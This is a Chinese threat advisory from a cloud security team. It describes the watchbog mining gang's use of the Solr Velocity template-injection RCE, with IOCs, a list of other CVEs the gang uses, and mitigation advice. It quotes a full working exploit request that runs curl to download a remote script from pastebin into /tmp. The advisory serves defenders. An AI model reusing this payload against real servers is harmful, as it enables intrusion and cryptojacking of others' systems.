概述

近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利。建议用户及时排查自身主机是否受到影响。

值得注意的是,此漏洞利用代码于10月31日被公布,11月2日阿里云安全团队就已发现watchbog团伙利用此漏洞进行入侵,植入木马进行挖矿,漏洞公开不足2日便被挖矿团伙利用进行攻击牟利。可以看到,当新的漏洞被披露出来时,可供企业用户修复的时间窗口越来越短,因此防守方需要及时地关注新披露可利用漏洞,以及采取缓解措施或进行修复,必要时可考虑选用安全产品帮助保障安全。

背景介绍

watchbog挖矿团伙

watchbog团伙最早出现于2018年,是一个利用多种漏洞攻击方式向目标主机植入挖矿木马的恶意团伙,通过挖取门罗币牟利并维持C&C通信以供团伙后续动作。自出现后更新频繁,一直在尝试利用最新的漏洞进行攻击。

Solr Velocity 模板注入远程命令执行漏洞

Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。在2019年10月31日,国外安全研究员公开了Solr Velocity模板注入的POC。此漏洞存在于Solr默认集成组件Solr.VelocityResponseWriter中,参数params.resource.loader.enabled可以控制是否根据请求参数来加载指定模板,虽然默认为false,但攻击者可以通过发送/[core_name]/config来手动设置此参数的开启,之后便可构造恶意请求执行指令。

攻击者首先可以通过[core_admin]获取服务器core_name,之后通过发送以下命令将加载模板指令打开。

开启从参数指定模板后,攻击者便可以发送恶意代码从而进行恶意行为。

恶意脚本分析

11月2日,阿里云安全团队发现有攻击者利用Solr Velocity漏洞发起入侵,其会向受到此漏洞影响的主机发送以下数据:

GET /solr/scalebay_2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('curl -fsSL https://pastebin.com/raw/dhQaGbMa -o /tmp/baby'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

跟进其使用的脚本 https://pastebin.com/raw/dhQaGbMa,此脚本格式内容与阿里云安全团队之前捕获的watchbog恶意脚本内容格式基本一致,(可参考之前阿里云安全针对watchbog的分析文章,参考文末相关链接),可以确认为同一团伙所为,脚本相同内容不再赘述。除了新增了Solr Velocity攻击方式外,其新增了cleanoldpack函数用以清除旧版木马以及其他恶意团伙恶意程序,可见黑产之间的相互竞争也非常激烈。

其他攻击方式

序号 攻击方式
1 Solr dataimport RCE(CVE-2019-0193)
2 Nexus Repository Manager(CVE_2019_5475)
3 Windows blueKeep RDP RCE (CVE-2019-0708)
4 JIRA模板注入(CVE-2019-11581)
5 Exim Mail Server 远程命令执行(CVE-2019-10149)
6 Solr 实体注入 (CVE-2017-12629)
7 Couchdb 远程命令执行(CVE-2018-8007)
8 Nexus Repository Manager 3 远程命令执行(CVE-2019-7238)
9 Jenkins 远程命令执行(CVE-2018-1000861)
10 Redis未授权访问、Redis任意lua字节码执行(CVE-2015-4335)

IOC

pastebin[.]com/raw/dhQaGbMa 
pastebin[.]com/raw/9QVpd02i 
pastebin[.]com/raw/6HtLs31b

MD5:
9f63e1105214ea94766d8c2fe2ba0da0

安全建议

  1. 截止完成此稿,目前官方还未发布任何补丁,建议用户采用白名单策略限制与solr应用通信对象,并时刻关注官方对于此漏洞的反应。
  2. 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击。
  3. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。

相关链接

  1. watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击
  2. 威胁快报|Solr dataimport成挖矿团伙新型利用方式
  3. 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发

本文作者:苍珀

原文链接

本文为云栖社区原创内容,未经允许不得转载。

威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短的更多相关文章

  1. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  2. Apache Solr Velocity模板注入rce+获取交互式shell

    前言: 官方的poc.exp payload只能获取很低的命令执行权限,甚至有些符号.命令还被过滤了,例如管道符被过滤.并且不能写入.下载文件,不能使用管道符重定向文件.那么我们只能通过获取到交互式s ...

  3. Apache Solr < 8.2.0远程命令执行漏洞(CVE-2019-0193)

    介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的D ...

  4. solr(CVE-2019-17558)远程命令执行

    影响版本 Apache Solr 5.x到8.2.0版本 测试 https://github.com/jas502n/CVE-2019-0193

  5. solr(CVE-2019-0193)远程命令执行

    影响版本 Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用) 安装 重启daoker  更新配置文件 systemctl dae ...

  6. solr(CVE-2017-12629)远程命令执行

    影响版本Apache Solr 5.5.0到7.0.1版本 solr(CVE-2017-12629-RCE) 环境搭建 1.burp检测 创建listen POST /solr/demo/config ...

  7. Apache Solr Velocity模板远程代码执行复现

    0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...

  8. 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞

    2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...

  9. 漏洞预警 | ThinkPHP 5.x远程命令执行漏洞

    ThinkPHP采用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库).RoR的ORM映射和ActiveRecord模式,是一款兼容性高.部署简单的轻量级国产PHP开发框 ...

随机推荐

  1. Jsoup学习和使用

    我们先看一下百度百科简介 它是java的HTML解析器 用HttpClient获取到网页后 具体的网页提取需要的信息的时候 ,就用到Jsoup,Jsoup可以使用强大的类似选择器,来获取需要的数据. ...

  2. ubuntu 虚拟机安装vmware tools

    1.打开ubuntu虚拟机,点击“虚拟机”---> "安装   vmware tools" 2.进入vmware tools光盘,将VMwaretools压缩包复制粘贴到桌面 ...

  3. linux新建用户并修改提示符

    1 新建用户 # useradd –d /home/ap/testapp -m testapp 此命令创建了一个用户testapp ,其中-d和-m选项用来为登录名testapp 产生一个主目录/ho ...

  4. jmeter之断言的使用

    和写功能测试用例一样,写接口测试用例也可以先可以写预期结果,然后用于后面的批量执行接口用例 目录 1.jmeter常用的断言元件 2.响应断言 3.json串断言 1.jmeter常用的断言元件 jm ...

  5. ECMAScript 2015 迭代器协议:实现自定义迭代器

    迭代器协议定义了一种标准的方式来产生一个有限或无限序列的值,并且当所有的值都已经被迭代后,就会有一个默认的返回值. 当一个对象只有满足下述条件才会被认为是一个迭代器:它实现了一个 next() 的方法 ...

  6. Git014--Rebase

    Git--Rebase 本文来自于:https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b00 ...

  7. JavaScript 高级程序设计(第3版)第一章 (js简介)

    1.我比js早一年 2.web浏览器是ECMAScript实现的宿主环境之一. 其它实现ECMAScript的宿主环境包括Node和Adobe Flash 3.ECMAScript主要规定js的组成部 ...

  8. [Linux] 013 其他文件搜索命令

    1. 文件搜索命令:locate 命令名称:locate 命令所在路径:/bin/locate 执行权限:所有用户 语法:locate 文件名 功能描述:在文件资料库中查找文件 范例: $ locat ...

  9. mybatis问题整理

    // List<String> findBuildByProject(String prjName); //单参数时使用<if></if>标签判断采用"_ ...

  10. Linux下查看日志文件

    问题一:日志文件打开,卡死 在公司开发的时候,开发的程序在本地测试正常,但是在测试环境却有问题.这个时候第一反应就是查看日志文件,看看日志文件里面有什么错误信息.我潇洒的执行了一下 vim log.t ...